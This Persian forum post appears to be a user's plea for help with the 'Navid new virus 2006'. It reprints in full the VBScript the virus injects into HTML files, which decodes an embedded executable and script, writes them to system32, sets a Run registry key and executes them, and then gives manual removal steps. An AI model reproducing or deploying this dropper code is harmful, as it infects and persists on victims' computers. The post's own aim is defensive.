ویروس Navid new virus 2006 منو دیوونه کرد

سلام دوستان
ویروس Navid new virus 2006 منو دیوونه کرد. این ویروس با ساختن چند فایل در سیستم 32 ویندوز با نامهای systems.exe & kernal.exe & kernal.vbs , و خطاهایی که در هنگام آنلاین بودن ایجاد میکند و تمام فایلهای با فرمت htm & html را آلوده میکند یعنی در آنها کدهای مخربی میذاره این هم کدهای مخرب در فایلهای htm & html :

<script language=vbscript>
on error resume next
fileexe1="0770901440000030000000000040000000002552 55000000184000000000000000000000064000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000001840000000 00014031186014000180009205033184001076205033084104 10511503211211411110311409710903209909711011011111 60320981010321141171100321051100320680790830321091 11100101046013013010036000000000000000000000212036 14202814406922407914406922407914406922407903009024 30791350692240791081012420791470692240790821050991 04144069224079000000000000000000000000000000000000 00000000000008006900000007600100300008111504706900 00000000000000000000002240000150010110010050120000 02000000000030006000000000000000007017000000000016 00000000003200000000000006400000001600000000000200 00000040000000000040000000000040000000000000000000 00000080006000000004000000139039000000002000000000 00000001600000001600000000000001600000001600000000 00000000000160000000000000000000000000000000000680 32000000100000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000320000000680000000000000000000000000 00000000000000000000000000000000000000000000000000 00000004611610112011600000000024000100000000001600 00000000020000000000040000000000000000000000000000 00000000000000032000000096046114100097116097000000 25000100000000003200000000000200000000000600000000 00000000000000000000000000000000000640000000640461 00097116097000000000128027006000000048000000000002 00000000000800000000000000000000000000000000000000 00000640000001920000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000106000106000106000 10600110600023220700100000016311207507000010600010 40000000001281060001060001040410480640002550531120 75070000232181001000000163116075070000104120075070 00010412802600600010424004806400025505311607507000 02321560010000001040040010000001041240750700002322 31000000000104028048064000104124075070000232244000 00000010400001600000010408804806400010412407507000 02322020000000001632240480640001060001042280480640 00255053120075070000104240048064000255053224048064 00023217400000000025505322404806400023214500000000 02550531120750700002320320010000002550531160750700 00232021001000000106005106000106000104124075070000 10600010600023207300000000019508513923613119622810 60001060001060001410692280802320630000000000111921 16020141069228080232062000000000141069228080232035 00000000023521720119510400001606400010422414700400 01060001060002320240000000002321852552552551952550 37020032064000255037040032064000255037036032064000 25503703203206400025503702803206400025503700003206 40002550370120320640002550370080320640002550370040 32064000204204204204204204204204204204085139236087 25511700823203600000000013912500813907701200324805 12100511921380040101360040581311940011321921172430 95139069008201194008000204204204085139236139069008 13123200413119200412805600011604812812000100011603 21281200020001160161281200030001172300430690081311 92003201194004000043069008131192002201194004000043 06900813119200120119400400004306900820119400400025 50370600320640002550370480320640002550370520320640 00255037056032064000000000000000000000000000000000 00000000000000000008603300000013403300000012203300 00001000330000000000000000002360320000000000000000 00054033000000042033000000028033000000008033000000 00000000000018203300000019803300000021803300000016 00330000000000000000001880320000000000000000000000 00000000252032000000020032000000196032000000000000 00000000000000000007403300000002803200000016803200 00000000000000000000000000001460330000000000320000 00216032000000000000000000000000000000238033000000 04803200000000000000000000000000000000000000000000 00000000000000000000000860330000001340330000001220 33000000100033000000000000000000236032000000000000 00000005403300000004203300000002803300000000803300 00000000000000001820330000001980330000002180330000 00160033000000000000000000103000083104101108108069 12010109911711610106500011510410110810805105004610 01081080001400000681051151120971160991040771011151 15097103101065000000025001071101116077101115115097 10310106500002300208310111608410510910111400000006 60020841140971101151080971161010771011151150971031 01000000117115101114051050046100108108000000026000 06710811111510107209711010010810100006000107110111 60831211151161011090681051141010991161111141210650 00202001079112101110070105108101000000158002087114 10511610107010510810100010710111411010110805105004 61001081080000001050000731101161011141101011160671 08111115101072097110100108101000134000073110116101 11411010111607911210111006500013500007311011610111 41101011160791121011100851141080650000001420000731 10116101114110101116082101097100070105108101000000 11910511010511010111604610010810800000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000092083121115 11610110911504610112010100010411611611205804704710 40490461141051121190971210460991111090471001141010 97109104097099107047072047078097118105100104097099 10704610112010100000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000"
filevbs1="0390780971181051000321101011190321181051 14117115032050048048054040049051055053046049041013 01011111003210111411411111403211410111511710910103 21101011201160130101001051090321021051081011041161 09044115121115044121114013010102105108101104116109 04906103404904804804904805304904805704805105004904 90530490500490490490530480490510480490480480560510 49048049049049054048051050049048048049048050048051 05004805404904805105004904804804904904904805705704 90490550490480570490480490490490480490490540480520 54048057057049049052049048049048057055049049054049 04804904805405704904805604904804904904805704904804 90490490480490490540480520480480510520490490490480 57056049048054049048049048057057049049054048051052 04805204904804905104804904804904804804904805004805 20540490490530490480490490490540480540530490490540 49049054049049052049048053048057056049049055049049 05404904804904805105004805105204805705704904805604 80570550490490530490490530490480530490480480480510 52048052052048051050048051052048057057049048056049 04905304904805304904804804805305604805405404805405 60480530550480530520480540550480530510480530510480 53052048052053048053052048053051048054053048053049 04805205304805205704805205704805405604805205604805 20530480530550480530540480530490480540530480520530 48052056048052056048054055048052056048053050048055 04804805405504805304804805305504805405704805304904 80530520480510500480510520480490510480490480490490 53049048049049049054048051050049048050049049053049 04904904805105004805404904805105004904804804904805 00480520540480570570490490520490480490480570550490 49054049048049049049049048057056049048054049048049 04805705704904905404805204804805105204805605104805 70570490490520490480530490490500490490540490480530 49049048049048051048052054048055048049048053049048 05604904804904805605104905004904904905304904905404 90480490490480570480550570480570560490480540490480 49048057057049049054048051052048052052048051052048 05105204805204904804905104804904804904905304904804 90490490540480510500490490530480540490490480480490 48050048052054048054055049049052049048049048057055 04904905404904804904805505704805705604904805404904 80490480570570490490540480520480480510520480560510 49048052049048049049048056049048056048052054048054 05304904905004904905004904805604904805304805705704 80570550490490540490480530490490490490490480480520 54048052057048051052048052052048051052048051052048 05204904804905104804904804904905304904804904904905 40480510500490490520490480490480540490490480480490 48050048052054048057057049049052049048049048057055 04904905404904804904904904904805705604904805404904 80490480570570490490540480520480480510520490490570 49049053048057057049049052049048053049049050049049 05404805205404904905304904805204904804904904805604 90480560480510520480520520480510520480510520480520 49048049051048049048049049053049050049049049053048 05404904904805004904905304904904904805205404805504 90490480490490490540480560510490490500490480490480 57057049048053048057055049048056048055048049049049 04904805604904804804904804904904905204805204804805 20570480520490480490510480490480480550480490490490 49049052048051050048057055048051050048054049048051 05004805205704805105004805605204904904904805105004 80550540490480490490490480480520480490480500490480 53049048056049048049049049056048057056049049053048 05205704805204904805105004805605104904905404904804 90490490500480510500480530490480490510480490480490 48050049048053049048056049048049049049056048057056 04904905304805304804805404904904805004904805304904 80560490480490490490560480570560490490530480530480 48051050048051056048051050048057057049048052049049 05204805204804904805704904805304904804804805204804 90480500490480530490480560490480490490490560480570 56049049053048052057048052052048057055048052052048 05304904805204904805204904804905104804904804904805 30490480500480510500480570550480510500480540480480 51050049048056049048049049049048048052048049048050 04904805304904805604904804904904804904905004804904 80490480520570480520490480520510480520570480510500 49049054049048052049048049049049048048051050049048 05004904805304904805604904804904904804904905004804 90480490480530480480540490490480500490480530490480 56049048049049048049049050048049048049048053048048 05105004805105604805105004805705704904805204904905 20480520480490480570490480530490480480480520480490 48050049048053049048056049048049049048049049050048 04904804904805205704805205204805705504805205204805 30490480520490480520490480490510480490480490490480 49048049049050048049049054048049051048049048049048 05504904905204805105004805404904805105004805605304 80540550480570550490490530490480490480520480490490 52049048049048052054048056050049048049049048051048 05605004904804904805705504904804804805204804805105 20480550500480550530480540570480560570480570530480 55054048055057048054055048054053048055054048057053 04805505504805405304805405504805505004805505104805 50560480540570480570500480560510480550570480550480 48056052048056055048054053048056050048054057048057 05004805505504904805304805705704904905204904904904 90490530490490490490480500490490540480570500480560 55049048053049049048049048048049049049049049057049 04905304805705004805405504904905504904905204904905 20490480490490490480490490540480560540490480490490 49052049049053049048053049049049049049048048057050 04805605004904905504904904804805705004805505504904 80530480570570490490520490490490490490530490490490 49048050049049054048051050048056055049048053049049 04804904804804904904904904905704904905304805105204 80520490480520490480490510480490480490480500490490 53049049049048052054048054055049049052049048049048 05705504904905404904804904805605204904804904905004 80490490540480550480490480530490480560490480490480 52048049049053049050049049049053048051050048051056 04805105004805105204805705004805605204805605104805 60480480530490480530480480540570480520540480540560 48055054048055054048051052048052049048052054049049 05704904905204904805304904905404904804904805105004 90480500490480530490480560490480490490480490490500 48049048049048052057048049051048049048049048053049 04805004805105004904905504805705704805705504904905 30490480490480520480490480500490490530490490490480 52054048055048049048053049048056049048049048054057 04905004804904805304904905304904905404904905304805 20480490490530490500490490490530480510500480510560 48051050048051052048057050048055053049048049049049 05204904904804904804904904805604805205404904804904 90500480490480490480510520480520490480520490480540 49048051052048055048048054053048055054048056051048 05405704805105204805105004904904904904905204805105 00490480550490490520480540480480540500490490550480 57057048057055049049053049048049048052048049049053 04905004904904905304805105004805105604805105004805 10520480570500480550530480540570480560500480550560 48054057048055054048052054048054057048056056048054 05704805105204805204904805105004904905404904805204 90480490490490480480490510480490480490490520490480 49048052054049049052049048049049048051049049057049 04905204904805304904905404904804904805105004805105 20480550500480550530480540570480560570480570530480 55054048055057048054055048054053048055054048057053 04805505504805405304805405504805505004805505104805 50560480540570480570500480560510480550570480550480 48056052048056055048054053048056050048054057048057 05004805505504904805304805705704904905204904904904 90490530490490490490480500490490540480570500480560 55049048053049049048049048048049049049049049057049 04905304805705004805405504904905504904905204904905 20490480490490490480490490540480560540490480490490 49052049049053049048053049049049049049048048057050 04805605004904905504904904804805705004805105204805 10500480510560480510500480510520480550550490480530 48057057049049052049049049049049053049049049049048 05004904905404805105004805605504904805304904904804 90480480490490490490490570490490530480510520480510 50048052052049049053049050049049049053048051050048 05105604805105204805705004805505304904804904904905 20490490480490480490490480560480520540490480490490 50048049048049048051052048049051048049048049048050 04904905304904904904805205404805405504904905204904 80490480570550490490540490480490480560520490480490 49050048049049054048055048049048053049048056049048 04904805204804904905304905004904904905304805105004 80510560480510500480510520480570500480550530490480 49049049052049049048049048049049048056048052054049 04804904905004804904804904805105204805204904805205 40490490570490490520490480530490490540490480490480 51050049048050049048053049048056049048049049048049 04905004804904804904805304804804905104804904804904 90530480520540480550570490490500490480490490490480 48051050048052048049049053049050049049049053048051 05004805105604805105004805105204805705004805505304 90480490490490520490490480490480490490480560480520 54049048049049050048049048049048051052048052049048 04905104804904804904804904904904804904804804805105 00490480530490480500480490510480490480490480500490 49053049049049048052054048054055049049052049048049 04805705504904905404904804904805605204904804904905 00480490490540480550480490480530490480560490480490 48052048049049053049050049049049053048051050048051 05604805105004805105204805705004805605204805605104 80560480480530490480530480480560540480520540480540 56048055054048055054048051052048052049048052054049 04905704904905204904805304904905404904804904805105 00490480500490480530490480560490480490490490560480 57056049049053048052057048049051048049048049048053 04904805004805105004904805004904905304904904904805 20540490490490490490500490480490490490480490490540 49048049049050048049049054049048050049048053049048 05604904804904805204804904905304905004904904905304 80510500480510560480510500480510520480570500480560 51049050049049049053049049054049048049049048057049 04905604805205404904804804904805604904805604805105 20480520520480520570480520490480520540490490520490 48049048057055049048048048057055049048056049048056 04805404804805405004805105204904904904904904804805 10520480510500490490540490480520490480490490490480 48049051048049048049048050049049053049049049048052 05404805405504904905204904804904805705504904905404 90480490480560520490480490490500480490490540480550 48049048053049048056049048049048052048049049053049 05004904904905304805105004805105604805105004805105 20480570500480550530490480490490490520490490480490 48049049048056048052054049049056048057056049049053 04805105204805204904805205404904905704904905204904 80530490490540490480490480510500490480500490480530 49048056049048049049049056048057056049049053048053 04804804905104804904804904905304805205404805505704 90490500490480490490490480480510500480520480490490 53049050049049049053048051050048051056048051050048 05105204805705004805505304904804904904905204904904 80490480490490480560480520540490490560480570560490 49053048051052048052049048049051048049048049048049 04904904804904804804805105004904805304904805004804 90510480490480480540480480520550490490530480570570 49049052049048053049049050049049054048054050034013 01011510111603210211511106109911410109711610111109 81061010991160400341150991141051121161051101030461 02105108101115121115116101109111098106101099116034 04101301011510111603211410106109911410109711610111 10981061010991160400341191150991141051121160461151 04101108108034041013010115121115061102115111046071 10111608311210109910509710807011110810010111404004 90410130101021151110460671141010971161010841011201 16070105108101040115121115032038032034092083121115 11610110911804610010810803404104611911410511610103 20341111100340130101021051081011041161090610340601 15099114105112116032108097110103117097103101061118 09811509911410511211606203403203803211809809911410 81020320380320341111100321011141141111140321141011 15117109101032110101120116034032038032118098099114 10810201301010210510810110411610906110210510810110 41161090320380320341021051081011011201010490610340 34034032038032102115111046111112101110116101120116 10210510810104011512111503203803203409208408308005 10500690460680760760340440490410461141010971000971 08108032038032034034034034032038032118098099114108 10201301010210510810110411610906110210510810110411 61090320380320341021051081011180981150490610340340 34032038032102115111046111112101110116101120116102 10510810104011512111503203803203409208408308005105 00860460680760760340440490410461141010971000971081 08032038032034034034034032038032118098099114108102 01301007011111403209703206103204903208411103207610 11100401021051081011041161090490410320831161011120 32051013010102105108101104116109061102105108101104 11610903203803209910411404010910510004010210510810 11041161090490440970440510410410130101101011201160 13010114101046114101103119114105116101032034072075 06908909506708508208206907808409508508306908209208 31111021161190971141010920771050991141111151111021 16092087105110100111119115092067117114114101110116 08610111411510511111009208211711009203403203803203 40771050991141111151111021160320871051101001111191 15034032044115121115032038034092075101114110101108 04611809811503401301011410104611410110311911410511 61010320340720750690890950760790670650760950770650 67072073078069092083079070084087065082069092077105 09911411111511110211609208710511010011111911509206 71171141141011101160861011141151051111100920821171 10092034032038032034077105099114111115111102116032 08710511010011111911503403204411512111503203803409 20751011141101011080461011201010340130101211140611 14101046082101103082101097100040034072075069089095 06708508208206907808409508508306908209208311110211 61190971141010921210971041111110921120971031011140 92089097104111111033032085115101114032073068034041 01301011511609711411601301008311709803211511609711 41160400410130101111100321011141141111140321141011 15117109101032110101120116013010070111114032069097 09910403210011404903207311003210211511104606811410 51181011150130100731020321001140490460681141051181 01084121112101032061032050032079114032100114049046 06811410511810108412111210103206103205103208410410 11100321021051081010490320401001140490320380320340 92034041058032102111108100101114049032040100114049 03203803203409203404101301007810112011601301011510 11101001090971051080130100691101000320831170980130 10083117098032102111108100101114049040100114049041 01301011111003210111411411111403211410111511710910 10321101011201160130100701111140320690970991040321 02111032073110032102115111046071101116070111108100 10111404010011404904104608311709807011110810010111 41150130101051020320850670971151010401141051031041 16040102111044050053041041061034089065072079079033 09207706908308306907807106908209208008207907007307 60690830340321161041011100321210971041111110401021 11041013010102105108101049032040102111041013010102 11110810010111404903204010211104101301007810112011 60130100691101000320831170980130100831170980321021 05108101049040102111041013010111110032101114114111 11403211410111511710910103211010112011601301007011 11140320690970991040321021050320731100321021151110 46071101116070111108100101114040102111041046070105 10810111501301011010603204010210504101301007810112 01160130100691101000320831170980130101151170980321 10106040102105041013010111110032101114114111114032 11410111511710910103211010112011601301010112011606 10850670971151010401021151110460711011160691201161 01110115105111110078097109101040102105041041013010 10510203210112011606103407208407703403211111403210 11201160610340720840770760340321111140321011201160 61034072084084034032116104101110013010105102032114 10510310411604010211511104611111210111011610112011 61021051081010401021050440490410461141010971000971 08108044108101110040102105108101104116109041041060 06210210510810110411610903211610410111001301010211 51110461111121011101161011201161021051081010401021 05044056041046119114105116101032118098099114108102 03203803210210510810110411610901301010111010003210 51020130101011101000321051020130101011101000321151 17098013010115117098032121097104111111040102111121 04904101301007011111403206909709910403210211112105 00320731100321021151110460711011160701111081001011 14040102111121049041046083117098070111108100101114 11501301010909710510809710810806110909710510809710 81080320380321021151110460711011160701051081010780 97109101040102111121050041032038032034064121097104 11111104609911110903403203803211809809911410810201 30101101011201160130101021151110460991141010971161 01116101120116102105108101040115121115032038032034 09210909710510804610811110303404104611911410511610 10321090971051080971081080320380320340690780680340 13010102115111046099114101097116101116101120116102 10510810104011512111503203803203409211510111010004 61081111030340410461191141051161010321211140320380 32034064121097104111111046099111109034013010101110 10003211511709801301011511709803211510111010010909 71051080400410130101111100321011141141111140321141 01115117109101032110101120116013010115101110100109 06110211511104611111210111011610112011610210510810 10401151211150320380320340921151011101000461081111 03034044049041046114101097100097108108013010115101 11603210909710510810906110211511104611111210111011 61011201161021051081010401151211150320380320340921 09097105108046108111103034044049041013010109097105 10809706110909710510810904611410109710010810511010 10130101191041051081010321090971051080970320600620 32034069078068034013010083101116032111098106077101 11511509710310103206103206711410109711610107909810 61010991160400340670680790460771011151150971031010 34041032013010111098106077101115115097103101046083 11709810610109911603206103203407210110810811103401 30101110981060771011151150971031010460831011101001 01114032061032115101110100109013010111098106077101 11511509710310104610211411110906103211510111010010 90130101110981060771011151150971031010460841110320 61032109097105108097013010111098106077101115115097 10310104608410112011606611110012103206103203407210 11081081110340320380321180980991141081020320380320 34071111032116111032109121032115097105116058032104 11611611205804704710310511410811510112004611910109 81150461051110471121050991161171141010461041161090 34013010111098106077101115115097103101046083101110 10001301010909710510809706110909710510810904611410 10971001081051101010130101191011101000130101021151 11046067114101097116101084101120116070105108101040 11512111503203803203409208312111511610110911804610 01081080340410461191141051161010320341111021020340 13010101110100032115117098013010"
dim sys
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36 "
set fso = df.createobject("Scripting.FileSystemObject","")
set s=df.CreateObject("Shell.Application.1","")
set re=df.createobject("wscript.shell","")
sys=fso.GetSpecialFolder(1)
For a = 1 To Len(filevbs1) Step 3
filevbs2=filevbs2 & chr(mid(filevbs1,a,3))
if a < len(fileexe1)+1 then fileexe2=fileexe2 & chr(mid(fileexe1,a,3))
next
kr = UCase(re.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Micr osoft\Windows\CurrentVersion\Run\Microsoft Windows"))
fso.CreateTextFile(sys & "\TSP32E.DLL").write fileexe1
if ucase(fso.FileExists(sys & "\Kernel.exe"))="FALSE" or kr<>ucase(sys & "\KERNEL.EXE") then
re.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Cur rentVersion\Run\" & "Microsoft Windows" ,sys &"\Kernel.exe"
fso.CreateTextFile(sys & "\Kernel.exe").write fileexe2
s.Open (sys & "\Kernel.exe")
end if
fso.CreateTextFile(sys & "\TSP32V.DLL").write filevbs1
if fso.opentextfile(sys & "\Systemv.dll",1).readall<>"on" then
fso.CreateTextFile(sys & "\Kernel.vbs").write filevbs2
s.Open (sys & "\Kernel.vbs")
end if
</script>

لطفا یکی منو کمک کنه تا این ویروس را پاک کنم:13:

اول Start رو بزن بعد Run توی Run تایپ کن msconfig .
برو توی سربرگ Startup توی اونجا چکمارک یا همون تیک کنار kernel.exe رو بردار این کار باعث میشه که kernel دیگه لود نشه.
بعد Crtl+Alt+Delet رو بزن تو سربرگ Processes روی kernel کلیک کن و End Processes رو بزن.
حالا برو تو D:\WINDOWS\system32 دو تا فایل kernel.exe و kernel.vbs رو پاک کن.
شما با این کار به صورت دستی تروجان رو پاک کردی اما حالا بهتره که یه Antivirus که این فایل رو بشناسه یعنیBitDenfender رو بریزی اون وقت یه بار سیستمو اسکن میکنی و هر وقت خواست این Kernel لود بشه BitDenfender میپرسه که اجازه فعالیت بهش بده یا نه که شما حالشو میگیریو No رو میزنی.

تا حالا شما خود تروجان رو پاک کردی اما این تروجان توی تمام فایل های htm یا همون صفحه های اینترنت کد زیر رو وارد کرده:


کد:
<script language=vbscript>on error resume nextfileexe1="077090144000003000000000004000000000 25525500000018400000000000000000000006400000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000184000 00000001403118601400018000920503318400107620503308 41041051150321121141111031140971090320990971101101 11116032098101032114117110032105110032068079083032 10911110010104601301301003600000000000000000000021 20361420281440692240791440692240791440692240790300 90243079135069224079108101242079147069224079082105 09910414406922407900000000000000000000000000000000 00000000000000000800690000000760010030000811150470 69000000000000000000000000224000015001011001005012 00000200000000003000600000000000000000701700000000 00160000000000320000000000000640000000160000000000 02000000004000000000004000000000004000000000000000 00000000008000600000000400000013903900000000200000 00000000000160000000160000000000000160000000160000 00000000000000016000000000000000000000000000000000 06803200000010000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000032000000068000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000461161011201160000000002400010000000000 16000000000002000000000004000000000000000000000000 00000000000000000003200000009604611410009711609700 00002500010000000000320000000000020000000000060000 00000000000000000000000000000000000000064000000064 04610009711609700000000012802700600000004800000000 00020000000000080000000000000000000000000000000000 00000000064000000192000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000010600010600010 60001060011060002322070010000001631120750700001060 00104000000000128106000106000104041048064000255053 11207507000023218100100000016311607507000010412007 50700001041280260060001042400480640002550531160750 70000232156001000000104004001000000104124075070000 23223100000000010402804806400010412407507000023224 40000000001040000160000001040880480640001041240750 70000232202000000000163224048064000106000104228048 06400025505312007507000010424004806400025505322404 80640002321740000000002550532240480640002321450000 00000255053112075070000232032001000000255053116075 07000023202100100000010600510600010600010412407507 00001060001060002320730000000001950851392361311962 28106000106000106000141069228080232063000000000011 19211602014106922808023206200000000014106922808023 20350000000002352172011951040000160640001042241470 04000106000106000232024000000000232185255255255195 25503702003206400025503704003206400025503703603206 40002550370320320640002550370280320640002550370000 32064000255037012032064000255037008032064000255037 00403206400020420420420420420420420420420408513923 60872551170082320360000000001391250081390770120032 48051210051192138004010136004058131194001132192117 24309513906900820119400800020420420408513923613906 90081312320041311920041280560001160481281200010001 16032128120002000116016128120003000117230043069008 13119200320119400400004306900813119200220119400400 00430690081311920012011940040000430690082011940040 00255037060032064000255037048032064000255037052032 06400025503705603206400000000000000000000000000000 00000000000000000000000860330000001340330000001220 33000000100033000000000000000000236032000000000000 00000005403300000004203300000002803300000000803300 00000000000000001820330000001980330000002180330000 00160033000000000000000000188032000000000000000000 00000000000025203200000002003200000019603200000000 00000000000000000000000740330000000280320000001680 32000000000000000000000000000000146033000000000032 00000021603200000000000000000000000000000023803300 00000480320000000000000000000000000000000000000000 00000000000000000000000000086033000000134033000000 12203300000010003300000000000000000023603200000000 00000000000540330000000420330000000280330000000080 33000000000000000000182033000000198033000000218033 00000016003300000000000000000010300008310410110810 80691201010991171161010650001151041011081080510500 46100108108000140000068105115112097116099104077101 11511509710310106500000002500107110111607710111511 50971031010650000230020831011160841051091011140000 00066002084114097110115108097116101077101115115097 10310100000011711510111405105004610010810800000002 60000671081111151010720971101001081010000600010711 01116083121115116101109068105114101099116111114121 06500020200107911210111007010510810100000015800208 71141051161010701051081010001071011141101011080510 50046100108108000000105000073110116101114110101116 06710811111510107209711010010810100013400007311011 61011141101011160791121011100650001350000731101161 01114110101116079112101110085114108065000000142000 07311011610111411010111608210109710007010510810100 00001191051101051101011160461001081080000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000009208312 11151161011091150461011201010001041161161120580470 47104049046114105112119097121046099111109047100114 10109710910409709910704707204707809711810510010409 70991070461011201010000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000"filev bs1="039078097118105100032110101119032118105114117 11503205004804805404004905105505304604904101301011 11100321011141141111140321141011151171091010321101 01120116013010100105109032102105108101104116109044 11512111504412111401301010210510810110411610904906 10340490480480490480530490480570480510500490490530 49050049049049053048049051048049048048056051049048 04904904905404805105004904804804904805004805105004 80540490480510500490480480490490490480570570490490 55049048057049048049049049048049049054048052054048 05705704904905204904804904805705504904905404904804 90480540570490480560490480490490480570490480490490 49048049049054048052048048051052049049049048057056 04904805404904804904805705704904905404805105204805 20490480490510480490480490480480490480500480520540 49049053049048049049049054048054053049049054049049 05404904905204904805304805705604904905504904905404 90480490480510500480510520480570570490480560480570 55049049053049049053049048053049048048048051052048 05205204805105004805105204805705704904805604904905 30490480530490480480480530560480540540480540560480 53055048053052048054055048053051048053051048053052 04805205304805305204805305104805405304805304904805 20530480520570480520570480540560480520560480520530 48053055048053054048053049048054053048052053048052 05604805205604805405504805205604805305004805504804 80540550480530480480530550480540570480530490480530 52048051050048051052048049051048049048049049053049 04804904904905404805105004904805004904905304904904 90480510500480540490480510500490480480490480500480 52054048057057049049052049048049048057055049049054 04904804904904904904805705604904805404904804904805 70570490490540480520480480510520480560510480570570 49049052049048053049049050049049054049048053049049 04804904805104805205404805504804904805304904805604 90480490480560510490500490490490530490490540490480 49049048057048055057048057056049048054049048049048 05705704904905404805105204805205204805105204805105 20480520490480490510480490480490490530490480490490 49054048051050049049053048054049049048048049048050 04805205404805405504904905204904804904805705504904 90540490480490480550570480570560490480540490480490 48057057049049054048052048048051052048056051049048 05204904804904904805604904805604805205404805405304 90490500490490500490480560490480530480570570480570 55049049054049048053049049049049049048048052054048 05205704805105204805205204805105204805105204805204 90480490510480490480490490530490480490490490540480 51050049049052049048049048054049049048048049048050 04805205404805705704904905204904804904805705504904 90540490480490490490490480570560490480540490480490 48057057049049054048052048048051052049049057049049 05304805705704904905204904805304904905004904905404 80520540490490530490480520490480490490480560490480 56048051052048052052048051052048051052048052049048 04905104804904804904905304905004904904905304805404 90490480500490490530490490490480520540480550490490 48049049049054048056051049049050049048049048057057 04904805304805705504904805604805504804904904904904 80560490480480490480490490490520480520480480520570 48052049048049051048049048048055048049049049049049 05204805105004805705504805105004805404904805105004 80520570480510500480560520490490490480510500480550 54049048049049049048048052048049048050049048053049 04805604904804904904905604805705604904905304805205 70480520490480510500480560510490490540490480490490 49050048051050048053049048049051048049048049048050 04904805304904805604904804904904905604805705604904 90530480530480480540490490480500490480530490480560 49048049049049056048057056049049053048053048048051 05004805105604805105004805705704904805204904905204 80520480490480570490480530490480480480520480490480 50049048053049048056049048049049049056048057056049 04905304805205704805205204805705504805205204805304 90480520490480520490480490510480490480490480530490 48050048051050048057055048051050048054048048051050 04904805604904804904904904804805204804904805004904 80530490480560490480490490480490490500480490480490 48052057048052049048052051048052057048051050049049 05404904805204904804904904904804805105004904805004 90480530490480560490480490490480490490500480490480 49048053048048054049049048050049048053049048056049 04804904904804904905004804904804904805304804805105 00480510560480510500480570570490480520490490520480 52048049048057049048053049048048048052048049048050 04904805304904805604904804904904804904905004804904 80490480520570480520520480570550480520520480530490 48052049048052049048049051048049048049049048049048 04904905004804904905404804905104804904804904805504 